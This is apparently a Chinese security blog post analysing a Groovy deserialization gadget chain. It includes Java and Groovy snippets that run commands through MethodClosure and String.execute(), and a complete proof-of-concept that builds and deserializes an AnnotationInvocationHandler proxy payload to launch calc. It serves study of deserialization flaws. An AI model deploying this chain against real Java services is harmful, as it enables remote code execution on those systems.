• Groovy反序列化链分析


    前言

    Groovy 是一种基于 JVM 的开发语言,具有类似于 Python,Ruby,Perl 和 Smalltalk 的功能。Groovy 既可以用作 Java 平台的编程语言,也可以用作脚本语言。groovy 编译之后生成 .class 文件,与 Java 编译生成的无异,因此可以在 JVM 上运行。
    在项目中可以引用 Groovy 的相关包依赖,分为核心包和模块包,如果想依赖全部包,可以使用 groovy-all

    环境搭建

    
    	org.codehaus.groovy
    	groovy-all
    	2.4.3
    
    

    Groovy命令执行

    MethodClosure

    package org.example;
    
    import org.codehaus.groovy.runtime.MethodClosure;
    
    import java.lang.reflect.InvocationTargetException;
    import java.lang.reflect.Method;
    
    public class methodClosure {
        public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
            MethodClosure mc = new MethodClosure(Runtime.getRuntime(), "exec");
            Method m = MethodClosure.class.getDeclaredMethod("doCall", Object.class);
            m.setAccessible(true);
            m.invoke(mc, "calc");
        }
    }
    

    很朴素,一眼看出漏洞点在doCall方法,调试一波

    invokeMethod顾名思义就是执行方法的,调试进去看也确实如此,看getOwner是获取到this.owner,看构造方法,owner是一个对象

    owner我们是设置了的,owner就是我们传入的Runtime对象,method同理可控,这样就实现了任意类方法调用

    String.execute()

    Groovy为String对象封装了一个execute方法用来动态执行命令,这个方法会返回一个 Process 对象。也就是说,在 Groovy 中,可以直接使用 "ls".execute() 这种方法来执行系统命令ls
    注意这里,创建一个Groovy类文件,不是创建java类文件了

    package org.example
    
    class stringExecute {
        static void main(String[] args){
            println("calc".execute().text);
        }
    }
    
    // 直接命令执行
    Runtime.getRuntime().exec("calc")
    "calc".execute()
    'calc'.execute()
    "${"calc".execute()}"
    "${'calc'.execute()}"
    
    // 回显型命令执行
    println "cmd /c dir".execute().text
    println 'whoami'.execute().text
    println "${"whoami".execute().text}"
    println "${'whoami'.execute().text}"
    def cmd = "whoami";
    println "${cmd.execute().text}";
    

    ConvertedClosure

    ConvertedCloure实际上是一个动态代理类,它继承了ConversionHandler

    ConversionHandler又继承了InvocationHandler

    因此该类是一个动态代理,然后注意invokeCustom,这个和InvocationHandlerinvoke是一个意思,代理的具体逻辑。如果初始化时指定的methodinvokeCustom指定的method参数相同,则invokeCustom方法将会调用代理对象 Closurecall方法执行传入参数执行

    Groovy反序列化构造

    说到动态代理就得想到CC1

    package org.example;
    
    import org.codehaus.groovy.runtime.ConvertedClosure;
    import org.codehaus.groovy.runtime.MethodClosure;
    
    import java.io.FileInputStream;
    import java.io.FileOutputStream;
    import java.io.ObjectInputStream;
    import java.io.ObjectOutputStream;
    import java.lang.annotation.Target;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.InvocationHandler;
    import java.lang.reflect.InvocationTargetException;
    import java.lang.reflect.Proxy;
    import java.util.Map;
    
    public class convertedClosure {
        public static void main(String[] args) throws ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException {
            //封装我们需要执行的对象
            MethodClosure methodClosure = new MethodClosure("calc", "execute");
            ConvertedClosure closure = new ConvertedClosure(methodClosure, "entrySet");
    
            Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor constructor = c.getDeclaredConstructors()[0];
            constructor.setAccessible(true);
    
            // 创建 ConvertedClosure 的动态代理类实例
            Map handler = (Map) Proxy.newProxyInstance(ConvertedClosure.class.getClassLoader(), new Class[]{Map.class}, closure);
    
            // 使用动态代理初始化 AnnotationInvocationHandler
            InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, handler);
    
            try{
                ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./Groovy"));
                outputStream.writeObject(invocationHandler);
                outputStream.close();
    
                ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./Groovy"));
                inputStream.readObject();
            }
            catch(Exception e){
                e.printStackTrace();
            }
        }
    }
    

    调用链

    AnnotationInvocationHandler.readObject()
        Map.entrySet() (Proxy)
            ConversionHandler.invoke()
                ConvertedClosure.invokeCustom()
    		        MethodClosure.call()
                        ProcessGroovyMethods.execute()
    

    流程分析

    调用entrySet

    触发invoke,this是ConvertedClosure它继承了ConversionHandler,所以是走进父类里面的方法,在这里面进而触发invokeCustom

    最后调用call方法rce


    __EOF__

  • 本文作者: F12
  • 本文链接: https://www.cnblogs.com/f12-blog/p/18133122
  • 关于博主: 评论和私信会在第一时间回复。或者直接私信我。
  • 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
  • 声援博主: 如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。
  • 相关阅读:
    【面试干货】&与&&的区别:位运算符与逻辑运算符的深入探讨
    CH340 各型号的区别
    解决 android Cannot access ‘<init>‘: it is private in
    glog从下载到使用实录
    Mellanox网卡工具使用说明
    为了面试阿里,熬夜肝完这份软件测试笔记后,Offer终于到手了
    Node.js 入门教程 9 如何从 Node.js 读取环境变量 & 10 如何使用 Node.js REPL
    elasticsearch索引同步
    使用Python实现强化学习算法
    java数据结构与算法刷题-----LeetCode1109:航班预订统计
  • 原文地址:https://www.cnblogs.com/F12-blog/p/18133122